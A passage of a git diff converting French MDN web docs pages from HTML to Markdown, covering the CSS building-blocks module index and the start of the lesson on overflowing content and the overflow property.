cours fait suite aux <a href="/fr/docs/Learn/CSS/First_steps">premiers pas avec CSS</a> : vous avez déjà acquis une bonne familiarité avec le langage et sa syntaxe, avec déjà des expériences d'utilisation de CSS. Il est donc temps d'approfondir le sujet. On examine ici les principes de cascade et d’héritage, tous les types de sélecteurs à notre disposition, les unités, le dimensionnement, les arrière-plans de style et les limites, le débogage, et bien d'autres choses.<br> - <br> - L'objectif est d'introduire les outils qui feront de vous un utilisateur CSS compétent avec une bonne compréhension du cœur de la théorie CSS. Nous étudierons plus tard des sujets plus spécifiques comme <a href="/fr/docs/Learn/CSS/Styling_text">le style de texte</a> et la <a href="/fr/docs/Apprendre/CSS/CSS_layout">mise en page CSS</a>.</p> +Ce cours fait suite aux [premiers pas avec CSS](/fr/docs/Learn/CSS/First_steps) : vous avez déjà acquis une bonne familiarité avec le langage et sa syntaxe, avec déjà des expériences d'utilisation de CSS. Il est donc temps d'approfondir le sujet. On examine ici les principes de cascade et d’héritage, tous les types de sélecteurs à notre disposition, les unités, le dimensionnement, les arrière-plans de style et les limites, le débogage, et bien d'autres choses. -<h2 id="Prérequis">Prérequis</h2> +L'objectif est d'introduire les outils qui feront de vous un utilisateur CSS compétent avec une bonne compréhension du cœur de la théorie CSS. Nous étudierons plus tard des sujets plus spécifiques comme [le style de texte](/fr/docs/Learn/CSS/Styling_text) et la [mise en page CSS](/fr/docs/Apprendre/CSS/CSS_layout). -<p>Avant de commencer ce cours, nous vous recommandons :</p> +## Prérequis -<ol> - <li>D'être familiarisé avec l'usage des ordinateurs et avec la navigation sur internet.</li> - <li>De disposer d'un environnement de travail comme il est décrit dans l'article <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">installation des outils de base</a> et de savoir créer et gérer des fichiers (cf. leçon <a href="/fr/docs/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers">gérer les fichiers</a>).</li> - <li>D'être suffisamment à votre aise avec HTML (voir le cours <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">introduction au HTML</a>).</li> - <li>D'avoir compris les bases du CSS telles qu'exposées dans le cours <a href="/fr/docs/Learn/CSS/First_steps">premiers pas avec CSS.</a></li> -</ol> +Avant de commencer ce cours, nous vous recommandons : -<div class="note"> -<p><strong>Note :</strong> Si vous travaillez sur un ordinateur, une tablette ou tout autre appareil sur lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous pourrez tester (la plupart) des exemples de code dans un site de programmation en ligne comme <a href="http://jsbin.com/">JSBin</a> ou <a href="https://thimble.mozilla.org/fr/">Thimble</a>.</p> -</div> +1. D'être familiarisé avec l'usage des ordinateurs et avec la navigation sur internet. +2. De disposer d'un environnement de travail comme il est décrit dans l'article [installation des outils de base](/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) et de savoir créer et gérer des fichiers (cf. leçon [gérer les fichiers](/fr/docs/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers)). +3. D'être suffisamment à votre aise avec HTML (voir le cours [introduction au HTML](/fr/docs/Apprendre/HTML/Introduction_à_HTML)). +4. D'avoir compris les bases du CSS telles qu'exposées dans le cours [premiers pas avec CSS.](/fr/docs/Learn/CSS/First_steps) -<h2 id="Guides">Guides</h2> +> **Note :** Si vous travaillez sur un ordinateur, une tablette ou tout autre appareil sur lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous pourrez tester (la plupart) des exemples de code dans un site de programmation en ligne comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/fr/). -<p>Les articles qui composent ce module traitent la majeure partie du langage CSS. En les parcourant, vous découvrirez de nombreux exercices qui vous permettront d'évaluer votre bonne compréhension.</p> +## Guides -<div class="note"> -<p><strong>Note :</strong> Les articles dont le titre apparaît en anglais ne sont pas encore traduits au moment de la traduction de la page que vous lisez.</p> -</div> +Les articles qui composent ce module traitent la majeure partie du langage CSS. En les parcourant, vous découvrirez de nombreux exercices qui vous permettront d'évaluer votre bonne compréhension. -<dl> - <dt><a href="/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade and inheritance (Cascade et héritage)</a></dt> - <dd>Le but de cette leçon est de vous permettre d'acquérir des concepts fondamentaux du CSS : la cascade, la spécificité et l'héritage... et ainsi d'apprendre comment le CSS s'applique au HTML, et comment les conflits se résolvent.</dd> - <dt><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors">CSS selectors (sélecteurs CSS)</a></dt> - <dd>Il y a une large palette de sélecteurs CSS disponibles permettant avec une fine granularité de désigner les éléments auxquels appliquer des styles. Dans cet article, nous verrons avec moult détails comment ces différents types de sélecteurs fonctionnent, au travers de plusieurs parties : - <ul> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class, and ID selectors</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Attribute selectors</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes and pseudo-elements</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinators</a></li> - </ul> - </dd> - <dt><a href="/fr/docs/Learn/CSS/Building_blocks/The_box_model">The box model (le modèle des boîtes)</a></dt> - <dd>Tout en CSS a une boîte autour de lui, et comprendre ces boîtes est la clef pour être capable de créer des mises en page avec CSS, ou d'aligner des éléments avec d'autres. Dans cette leçon, nous nous attarderons sur le modèle de boîte CSS, afin que vous puissiez passer à des mises en page plus complexes grâce à une meilleure compréhension du fonctionnement et de la terminologie.</dd> - <dt><a href="/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Backgrounds and borders (arrières-plans et bordures)</a></dt> - <dd>Dans cette leçon, nous illustrerons des usages créatifs des arrières-plans et bordures en CSS. Des dégradés, des images de fond, des coins arrondis.... les arrières plans et les bordures sont les réponses à de nombreuses questions de style en CSS.</dd> - <dt><a href="/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Handling different text directions (manipuler les différentes directions du texte)</a></dt> - <dd>Ces dernières années, le CSS a évolué afin de permettre aux contenus de prendre des directions différentes ; pas seuleument de droite à gauche mais aussi de haut en bas (comme au Japon) ; ces différentes directions sont appelées modes d'écriture (<strong>writing modes</strong>). Comme vous progressez dans l'étude du CSS et commencez à travailler la mise en page, la compréhension des modes d'écriture vous sera fort utile, c'est pour cela que nous vous les présentons dans cet article. .</dd> - <dt><a href="/fr/docs/Learn/CSS/Building_blocks/Overflowing_content">Overflowing content (quand ça dépasse)</a></dt> - <dd>Autre concept important du CSS: le dépassement (<strong>overflow</strong>) : c'est ce qui se passe quand il y a trop de contenu pour qu'il puisse tenir dans la boîte. Dans cette leçon, vous apprendrez comment le gérer.</dd> - <dt><a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units">Values and units (valeurs et unités)</a></dt> - <dd>Toute propriété utilisée en CSS dispose de valeurs ou d'ensembles de valeurs autorisées pour cette propriété. Dans cette leçon, nous aborderons les valeurs et unités les plus communément utilisées.</dd> - <dt><a href="/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Sizing items in CSS (dimensionner les éléments en CSS)</a></dt> - <dd>Dans plusieurs leçons précédentes, vous avez abordé plusieurs façons de dimensionner de nombreux éléments d'une page web en utilisant le CSS. Comprendre pour anticiper les tailles des composants de votre design est important. Dans cette leçon nous résumerons par quels différents biais les éléments sont dimensionnés en CSS et définirons quelques termes qui vous aideront à l'avenir.</dd> - <dt><a href="/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, media, and form elements (images, médias et éléments de formulaires)</a></dt> - <dd>Dans cet article, nous verrons comment des éléments particuliers sont traités en CSS. Les images, les autres médias, ou encore le éléments de formulaires se comportent légèrement différement des boîtes habituelles lorsque vous souhaitez leur appliquer un style CSS. Comprendre ce qu'il est possible ou non de faire vous évitera d'éventuelles déceptions cette leçon soulignera ce qu'il vous faut savoir.</dd> - <dt><a href="/fr/docs/Apprendre/CSS/Building_blocks/Styling_tables">Mise en page des tableaux</a></dt> - <dd>Styliser un tableau HTML n'est pas le travail qui fait rêver, mais vous pouvez parfois avoir à le faire. Cet article vous guide pour réussir l'apparence de vos tableaux en soulignant les techniques spécifiques applicables.</dd> - <dt><a href="/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS">Debugging CSS (déboguer le CSS)</a></dt> - <dd>Parfois, lorsque vous écrivez du CSS, le résultat n'est pas ce que vous attendiez. Cet article vous guidera pour déboguer un problème de CSS en vous montrant comment utiliser les outils de développement contenus dans tout navigateur moderne pour vous aider à trouver ce qui se passe.</dd> - <dt><a href="/fr/docs/Learn/CSS/Building_blocks/Organizing">Organizing your CSS (organiser votre CSS)</a></dt> - <dd>Au fur et à mesure que vous travaillerez sur des feuilles de style de plus en plus longues et des projets de plus en plus volumineux, vous découvrirez que maintenir un énorme fichier CSS peut être problématique. Dans cet article, nous aborderons les bonnes pratiques pour écrire votre CSS, le rendre facile à maintenir, et d'autres solutions pouvant vous aider à améliorer cette maintenabilité.</dd> -</dl> +> **Note :** Les articles dont le titre apparaît en anglais ne sont pas encore traduits au moment de la traduction de la page que vous lisez. -<h2 id="Voir_aussi">Voir aussi</h2> +- [Cascade and inheritance (Cascade et héritage)](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) + - : Le but de cette leçon est de vous permettre d'acquérir des concepts fondamentaux du CSS : la cascade, la spécificité et l'héritage... et ainsi d'apprendre comment le CSS s'applique au HTML, et comment les conflits se résolvent. +- [CSS selectors (sélecteurs CSS)](/fr/docs/Learn/CSS/Building_blocks/Selectors) -<dl> - <dt><a href="/fr/docs/Apprendre/CSS/Building_blocks/Advanced_styling_effects">Effets de boîte avancés</a></dt> - <dd>Cet article est un "trucs et astuces" vous fournissant un aperçu de fonctionnalités intéressantes comme l'ombre des boîtes, les mélanges de couleurs ou les filtres.</dd> -</dl> + - : Il y a une large palette de sélecteurs CSS disponibles permettant avec une fine granularité de désigner les éléments auxquels appliquer des styles. Dans cet article, nous verrons avec moult détails comment ces différents types de sélecteurs fonctionnent, au travers de plusieurs parties : + + - [Type, class, and ID selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors) + - [Attribute selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors) + - [Pseudo-classes and pseudo-elements](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) + - [Combinators](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators) + +- [The box model (le modèle des boîtes)](/fr/docs/Learn/CSS/Building_blocks/The_box_model) + - : Tout en CSS a une boîte autour de lui, et comprendre ces boîtes est la clef pour être capable de créer des mises en page avec CSS, ou d'aligner des éléments avec d'autres. Dans cette leçon, nous nous attarderons sur le modèle de boîte CSS, afin que vous puissiez passer à des mises en page plus complexes grâce à une meilleure compréhension du fonctionnement et de la terminologie. +- [Backgrounds and borders (arrières-plans et bordures)](/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders) + - : Dans cette leçon, nous illustrerons des usages créatifs des arrières-plans et bordures en CSS. Des dégradés, des images de fond, des coins arrondis.... les arrières plans et les bordures sont les réponses à de nombreuses questions de style en CSS. +- [Handling different text directions (manipuler les différentes directions du texte)](/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions) + - : Ces dernières années, le CSS a évolué afin de permettre aux contenus de prendre des directions différentes ; pas seuleument de droite à gauche mais aussi de haut en bas (comme au Japon) ; ces différentes directions sont appelées modes d'écriture (**writing modes**). Comme vous progressez dans l'étude du CSS et commencez à travailler la mise en page, la compréhension des modes d'écriture vous sera fort utile, c'est pour cela que nous vous les présentons dans cet article. . +- [Overflowing content (quand ça dépasse)](/fr/docs/Learn/CSS/Building_blocks/Overflowing_content) + - : Autre concept important du CSS: le dépassement (**overflow**) : c'est ce qui se passe quand il y a trop de contenu pour qu'il puisse tenir dans la boîte. Dans cette leçon, vous apprendrez comment le gérer. +- [Values and units (valeurs et unités)](/fr/docs/Learn/CSS/Building_blocks/Values_and_units) + - : Toute propriété utilisée en CSS dispose de valeurs ou d'ensembles de valeurs autorisées pour cette propriété. Dans cette leçon, nous aborderons les valeurs et unités les plus communément utilisées. +- [Sizing items in CSS (dimensionner les éléments en CSS)](/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS) + - : Dans plusieurs leçons précédentes, vous avez abordé plusieurs façons de dimensionner de nombreux éléments d'une page web en utilisant le CSS. Comprendre pour anticiper les tailles des composants de votre design est important. Dans cette leçon nous résumerons par quels différents biais les éléments sont dimensionnés en CSS et définirons quelques termes qui vous aideront à l'avenir. +- [Images, media, and form elements (images, médias et éléments de formulaires)](/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements) + - : Dans cet article, nous verrons comment des éléments particuliers sont traités en CSS. Les images, les autres médias, ou encore le éléments de formulaires se comportent légèrement différement des boîtes habituelles lorsque vous souhaitez leur appliquer un style CSS. Comprendre ce qu'il est possible ou non de faire vous évitera d'éventuelles déceptions cette leçon soulignera ce qu'il vous faut savoir. +- [Mise en page des tableaux](/fr/docs/Apprendre/CSS/Building_blocks/Styling_tables) + - : Styliser un tableau HTML n'est pas le travail qui fait rêver, mais vous pouvez parfois avoir à le faire. Cet article vous guide pour réussir l'apparence de vos tableaux en soulignant les techniques spécifiques applicables. +- [Debugging CSS (déboguer le CSS)](/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS) + - : Parfois, lorsque vous écrivez du CSS, le résultat n'est pas ce que vous attendiez. Cet article vous guidera pour déboguer un problème de CSS en vous montrant comment utiliser les outils de développement contenus dans tout navigateur moderne pour vous aider à trouver ce qui se passe. +- [Organizing your CSS (organiser votre CSS)](/fr/docs/Learn/CSS/Building_blocks/Organizing) + - : Au fur et à mesure que vous travaillerez sur des feuilles de style de plus en plus longues et des projets de plus en plus volumineux, vous découvrirez que maintenir un énorme fichier CSS peut être problématique. Dans cet article, nous aborderons les bonnes pratiques pour écrire votre CSS, le rendre facile à maintenir, et d'autres solutions pouvant vous aider à améliorer cette maintenabilité. + +## Voir aussi + +- [Effets de boîte avancés](/fr/docs/Apprendre/CSS/Building_blocks/Advanced_styling_effects) + - : Cet article est un "trucs et astuces" vous fournissant un aperçu de fonctionnalités intéressantes comme l'ombre des boîtes, les mélanges de couleurs ou les filtres. diff --git a/files/fr/learn/css/building_blocks/overflowing_content/index.md b/files/fr/learn/css/building_blocks/overflowing_content/index.md index 6eb65c2dca..d44a3e9f3c 100644 --- a/files/fr/learn/css/building_blocks/overflowing_content/index.md +++ b/files/fr/learn/css/building_blocks/overflowing_content/index.md @@ -4,121 +4,132 @@ slug: Learn/CSS/Building_blocks/Overflowing_content translation_of: Learn/CSS/Building_blocks/Overflowing_content original_slug: Apprendre/CSS/Building_blocks/Overflowing_content --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}} -<p>Dans ce cours nous allons étudier un autre concept important en CSS : les <strong>débordements</strong> (<i lang="en">overflows</i> en anglais). Un débordement de contenu correspond à ce qui se produit lorsque le contenu à insérer dans une boîte occupe trop d'espace pour s'y insérer confortablement. Dans ce guide vous allez apprendre à gérer cela.</p> +Dans ce cours nous allons étudier un autre concept important en CSS : les **débordements** (<i lang="en">overflows</i> en anglais). Un débordement de contenu correspond à ce qui se produit lorsque le contenu à insérer dans une boîte occupe trop d'espace pour s'y insérer confortablement. Dans ce guide vous allez apprendre à gérer cela. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Connaissances élémentaires en informatique, <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">suite logicielle de base installée</a>, compétences élémentaires pour <a href="/fr/docs/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers">travailler avec des fichiers</a>, connaissance de base du HTML (cf. <a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML">Introduction à HTML</a>), et une idée <a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works">du fonctionnement de CSS</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre le principe des débordements et comment les gérer.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Connaissances élémentaires en informatique, + <a + href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" + >suite logicielle de base installée</a + >, compétences élémentaires pour + <a + href="/fr/docs/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers" + >travailler avec des fichiers</a + >, connaissance de base du HTML (cf. + <a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML" + >Introduction à HTML</a + >), et une idée + <a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works" + >du fonctionnement de CSS</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Comprendre le principe des débordements et comment les gérer.</td> + </tr> + </tbody> </table> -<h2 id="what_is_overflow">Qu'est-ce qu'un débordement ?</h2> +## Qu'est-ce qu'un débordement ? -<p>Nous savons déjà qu'en CSS tout fonctionne par boîte, et que nous pouvons définir la taille de ces boîtes en leur donnant les valeurs <a href="/fr/docs/Web/CSS/width"><code>width</code></a> et <a href="/fr/docs/Web/CSS/height"><code>height</code></a> (ou <a href="/fr/docs/Web/CSS/inline-size"><code>inline-size</code></a> et <a href="/fr/docs/Web/CSS/block-size"><code>block-size</code></a>). Un dépassement correspond à ce qui se produit lorsqu'il y a trop de contenu dans une boîte et que ce contenu ne s'y intègre pas confortablement. CSS propose différents outils pour gérer ce phénomène, c'est un concept utile à comprendre à ce stade. Vous allez rencontrer des cas de dépassement fréquemment en codant du CSS, particulièrement quand vous irez plus loin dans la mise en page avec CSS.</p> +Nous savons déjà qu'en CSS tout fonctionne par boîte, et que nous pouvons définir la taille de ces boîtes en leur donnant les valeurs [`width`](/fr/docs/Web/CSS/width) et [`height`](/fr/docs/Web/CSS/height) (ou [`inline-size`](/fr/docs/Web/CSS/inline-size) et [`block-size`](/fr/docs/Web/CSS/block-size)). Un dépassement correspond à ce qui se produit lorsqu'il y a trop de contenu dans une boîte et que ce contenu ne s'y intègre pas confortablement. CSS propose différents outils pour gérer ce phénomène, c'est un concept utile à comprendre à ce stade. Vous allez rencontrer des cas de dépassement fréquemment en codant du CSS, particulièrement quand vous irez plus loin dans la mise en page avec CSS. -<h2 id="css_tries_to_avoid_data_loss">CSS essaie d'éviter les pertes de données</h2> +## CSS essaie d'éviter les pertes de données -<p>Commençons par observer deux exemples qui montrent comment CSS se comporte par défaut quand il y a un débordement de contenu.</p> +Commençons par observer deux exemples qui montrent comment CSS se comporte par défaut quand il y a un débordement de contenu. -<p>Le premier est une boîte dont la dimension dans le bloc a été définie en lui donnant une valeur <code>height</code>. Nous lui avons ensuite ajouté plus de contenu qu'il n'y a d'espace disponible dans la boîte. Le contenu déborde de la boîte et chevauche de façon désordonnée le paragraphe situé sous la boîte.</p> +Le premier est une boîte dont la dimension dans le bloc a été définie en lui donnant une valeur `height`. Nous lui avons ensuite ajouté plus de contenu qu'il n'y a d'espace disponible dans la boîte. Le contenu déborde de la boîte et chevauche de façon désordonnée le paragraphe situé sous la boîte. -<p>{{EmbedGHLiveSample("css-examples/learn/overflow/block-overflow.html", '100%', 600)}}</p> +{{EmbedGHLiveSample("css-examples/learn/overflow/block-overflow.html", '100%', 600)}} -<p>Le second est un mot dans une boîte limitée sur la dimension inline. La boîte a été rendue trop petite pour que ce mot puisse s'y insérer et il déborde de la boîte.</p> +Le second est un mot dans une boîte limitée sur la dimension inline. La boîte a été rendue trop petite pour que ce mot puisse s'y insérer et il déborde de la boîte. -<p>{{EmbedGHLiveSample("css-examples/learn/overflow/inline-overflow.html", '100%', 500)}}</p> +{{EmbedGHLiveSample("css-examples/learn/overflow/inline-overflow.html", '100%', 500)}} -<p>Vous vous demandez peut-être pourquoi le CSS a adopté par défaut l'approche plutôt brouillonne consistant à faire déborder le contenu de manière désordonnée ? Pourquoi ne pas cacher le contenu supplémentaire, ou faire grossir la boîte ?</p> +Vous vous demandez peut-être pourquoi le CSS a adopté par défaut l'approche plutôt brouillonne consistant à faire déborder le contenu de manière désordonnée ? Pourquoi ne pas cacher le contenu supplémentaire, ou faire grossir la boîte ? -<p>Dans la mesure du possible, le CSS ne masque pas votre contenu ; le faire entraînerait des pertes de données, ce qui pose généralement problème. En termes de CSS, cela signifie que certains contenus disparaissent. Le problème de la disparition de contenu est que vous pourriez ne pas remarquer qu'il a disparu. Vos visiteurs également ne le remarqueront peut-être pas. Si c'est le bouton "Envoyer" d'un formulaire qui disparaît et que personne ne peut remplir ce formulaire, c'est un gros problème ! Au lieu de cela, le CSS a tendance à déborder de manière visible. Il est probable que vous verrez le désordre, ou au pire un visiteur de votre site vous fera savoir que certains contenus se chevauchent et qu'il faut donc les corriger.</p> +Dans la mesure du possible, le CSS ne masque pas votre contenu ; le faire entraînerait des pertes de données, ce qui pose généralement problème. En termes de CSS, cela signifie que certains contenus disparaissent. Le problème de la disparition de contenu est que vous pourriez ne pas remarquer qu'il a disparu. Vos visiteurs également ne le remarqueront peut-être pas. Si c'est le bouton "Envoyer" d'un formulaire qui disparaît et que personne ne peut remplir ce formulaire, c'est un gros problème ! Au lieu de cela, le CSS a tendance à déborder de manière visible. Il est probable que vous verrez le désordre, ou au pire un visiteur de votre site vous fera savoir que certains contenus se chevauchent et qu'il faut donc les corriger. -<p>Si vous avez défini une boîte avec des valeurs <code>width</code> ou <code>height</code>, CSS part du principe que vous savez ce que vous faites et que vous gérez le risque de débordement. En général, contraindre la dimension du bloc est problématique lorsque du texte va être mis dans une boîte, car il peut y avoir plus de texte que prévu lors de la conception du site ou que le texte peut être plus gros - par exemple si l'utilisateur a augmenté la taille de sa police.</p> +Si vous avez défini une boîte avec des valeurs `width` ou `height`, CSS part du principe que vous savez ce que vous faites et que vous gérez le risque de débordement. En général, contraindre la dimension du bloc est problématique lorsque du texte va être mis dans une boîte, car il peut y avoir plus de texte que prévu lors de la conception du site ou que le texte peut être plus gros - par exemple si l'utilisateur a augmenté la taille de sa police. -<p>Dans les deux prochaines leçons, nous examinerons différentes façons de contrôler la taille des éléments afin de limiter le dépassement. Cependant, si vous avez besoin d'une taille fixe, vous pouvez également contrôler le comportement du trop-plein. Voyons maintenant !</p> +Dans les deux prochaines leçons, nous examinerons différentes façons de contrôler la taille des éléments afin de limiter le dépassement. Cependant, si vous avez besoin d'une taille fixe, vous pouvez également contrôler le comportement du trop-plein. Voyons maintenant ! -<h2 id="the_overflow_property">La propriété overflow</h2> +## La propriété overflow -<p>La propriété <a href="/fr/docs/Web/CSS/overflow"><code>overflow</code></a> est la façon dont vous prenez le contrôle du débordement d'un élément et dîtes au navigateur comment vous voulez qu'il se comporte. La valeur par défaut est <code>visible</code>, c'est pourquoi, par défaut, nous pouvons voir notre contenu quand il déborde.</p> +La propriété [`overflow`](/fr/docs/Web/CSS/overflow) est la façon dont vous prenez le contrôle du débordement d'un élément et dîtes au navigateur comment vous voulez qu'il se comporte. La valeur par défaut est `visible`, c'est pourquoi, par défaut, nous pouvons voir notre contenu quand il déborde. -<p>Si vous souhaitez recadrer le contenu qui déborde, vous pouvez définir <code>overflow: hidden</code> pour votre boîte. Cela fera exactement ce qui est indiqué — cacher le débordement. Vous ne devez donc le faire que si la disparition du contenu ne pose pas de problème.</p> +Si vous souhaitez recadrer le contenu qui déborde, vous pouvez définir `overflow: hidden` pour votre boîte. Cela fera exactement ce qui est indiqué — cacher le débordement. Vous ne devez donc le faire que si la disparition du contenu ne pose pas de problème. -<p>{{EmbedGHLiveSample("css-examples/learn/overflow/hidden.html", '100%', 600)}}</p> +{{EmbedGHLiveSample("css-examples/learn/overflow/hidden.html", '100%', 600)}} -<p>Peut-être préféreriez-vous ajouter des barres de défilement lorsque le contenu déborde ? Si vous utilisez <code>overflow: scroll</code> alors votre navigateur ajoutera systématiquement des barres de défilement — même s'il n'y a pas assez de contenu pour faire défiler. Vous pourriez le souhaiter, car cela empêche l'apparition et la disparition des barres de défilement en fonction du contenu.</p> +Peut-être préféreriez-vous ajouter des barres de défilement lorsque le contenu déborde ? Si vous utilisez `overflow: scroll` alors votre navigateur ajoutera systématiquement des barres de défilement — même s'il n'y a pas assez de contenu pour faire défiler. Vous pourriez le souhaiter, car cela empêche l'apparition et la disparition des barres de défilement en fonction du contenu. -<p><strong>Si vous retirez du contenu de la boîte ci-dessous, vous constaterez que les barres de défilement restent même s'il n'y a rien à faire défiler.</strong></p> +**Si vous retirez du contenu de la boîte ci-dessous, vous constaterez que les barres de défilement restent même s'il n'y a rien à faire défiler.** -<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll.html", '100%', 600)}}</p> +{{EmbedGHLiveSample("css-examples/learn/overflow/scroll.html", '100%', 600)}} -<p>Dans l'exemple ci-dessus nous n'avons besoin de faire défiler que l'axe <code>y</code>, cependant nous avons des barres de défilement sur les deux axes. Vous pourriez utiliser à la place la propriété <a href="/fr/docs/Web/CSS/overflow-y"><code>overflow-y</code></a>, qui définit <code>overflow-y: scroll</code> afin de faire défiler uniquement sur l'axe <code>y</code>.</p> +Dans l'exemple ci-dessus nous n'avons besoin de faire défiler que l'axe `y`, cependant nous avons des barres de défilement sur les deux axes. Vous pourriez utiliser à la place la propriété [`overflow-y`](/fr/docs/Web/CSS/overflow-y), qui définit `overflow-y: scroll` afin de faire défiler uniquement sur l'axe `y`. -<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-y.html", '100%', 600)}}</p> +{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-y.html", '100%', 600)}} -<p>Vous pourriez également faire défiler sur l'axe x en utilisant <a href="/fr/docs/Web/CSS/overflow-x"><code>overflow-x</code></a>, bien que ce ne soit pas une méthode recommandée pour gérer les longs mots ! Si vous avez besoin de gérer un long mot dans une petite boîte alors vous pourriez vous tourner vers les propriétés <a href="/fr/docs/Web/CSS/word-break"><code>word-break</code></a> ou <a href="/fr/docs/Web/CSS/overflow-wrap"><code>overflow-wrap</code></a>. En complément, certaines méthodes présentées dans le cours <a href="/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Définir la taille des éléments en CSS</a> peuvent vous aider à créer des boîtes qui s'adapteront mieux à des quantités variables de contenu.</p> +Vous pourriez également faire défiler sur l'axe x en utilisant [`overflow-x`](/fr/docs/Web/CSS/overflow-x), bien que ce ne soit pas une méthode recommandée pour gérer les longs mots ! Si vous avez besoin de gérer un long mot dans une petite boîte alors vous pourriez vous tourner vers les propriétés [`word-break`](/fr/docs/Web/CSS/word-break) ou [`overflow-wrap`](/fr/docs/Web/CSS/overflow-wrap). En complément, certaines méthodes présentées dans le cours [Définir la taille des éléments en CSS](/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS) peuvent vous aider à créer des boîtes qui s'adapteront mieux à des quantités variables de contenu. -<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-x.html", '100%', 500)}}</p> +{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-x.html", '100%', 500)}} -<p>Comme pour <code>scroll</code>, une barre de défilement apparaîtra sur l'axe sélectionné qu'il y ait suffisamment de contenu ou pas pour créer un défilement.</p> +Comme pour `scroll`, une barre de défilement apparaîtra sur l'axe sélectionné qu'il y ait suffisamment de contenu ou pas pour créer un défilement. -<div class="notecard note"> -<p><strong>Note :</strong> vous pouvez spécifier le défilement x et y simultanément en utilisant la propriété <code>overflow</code> en déclarant deux valeurs. Si deux mots clés sont spécifiés, le premier s'applique à <code>overflow-x</code> et le second à <code>overflow-y</code>. Sinon, <code>overflow-x</code> et <code>overflow-y</code> sont définis sur la même valeur. Par exemple, <code>overflow: scroll hidden</code> définira <code>overflow-x</code> sur <code>scroll</code> et <code>overflow-y</code> sur <code>hidden</code>.</p> -</div> +> **Note :** vous pouvez spécifier le défilement x et y simultanément en utilisant la propriété `overflow` en déclarant deux valeurs. Si deux mots clés sont spécifiés, le premier s'applique à `overflow-x` et le second à `overflow-y`. Sinon, `overflow-x` et `overflow-y` sont définis sur la même valeur. Par exemple, `overflow: scroll hidden` définira `overflow-x` sur `scroll` et `overflow-y` sur `hidden`. -<p>Si vous souhaitez que les barres de défilement n'apparaissent que s'il y a plus de contenu que la boîte ne peut en contenir, utilisez <code>overflow: auto</code>. Dans ce cas c'est le navigateur qui décidera d'afficher ou non les barres de défilement. Les navigateurs de bureau ne le font généralement que lorsqu'il y a suffisamment de contenu pour provoquer un débordement.</p> +Si vous souhaitez que les barres de défilement n'apparaissent que s'il y a plus de contenu que la boîte ne peut en contenir, utilisez `overflow: auto`. Dans ce cas c'est le navigateur qui décidera d'afficher ou non les barres de défilement. Les navigateurs de bureau ne le font généralement que lorsqu'il y a suffisamment de contenu pour provoquer un débordement. -<p><strong>Dans l'exemple ci-dessous, retirez du contenu jusqu'à ce que ça rentre dans la boîte et vous devriez voir les barres de défilement disparaître.</strong></p> +**Dans l'exemple ci-dessous, retirez du contenu jusqu'à ce que ça rentre dans la boîte et vous devriez voir les barres de défilement disparaître.** -<p>{{EmbedGHLiveSample("css-examples/learn/overflow/auto.html", '100%', 600)}}</p> +{{EmbedGHLiveSample("css-examples/learn/overflow/auto.html", '100%', 600)}} -<h2 id="overflow_establishes_a_block_formatting_context">Overflow crée un "Block Formatting Context"</h2> +## Overflow crée un "Block Formatting Context" -<p>Il existe 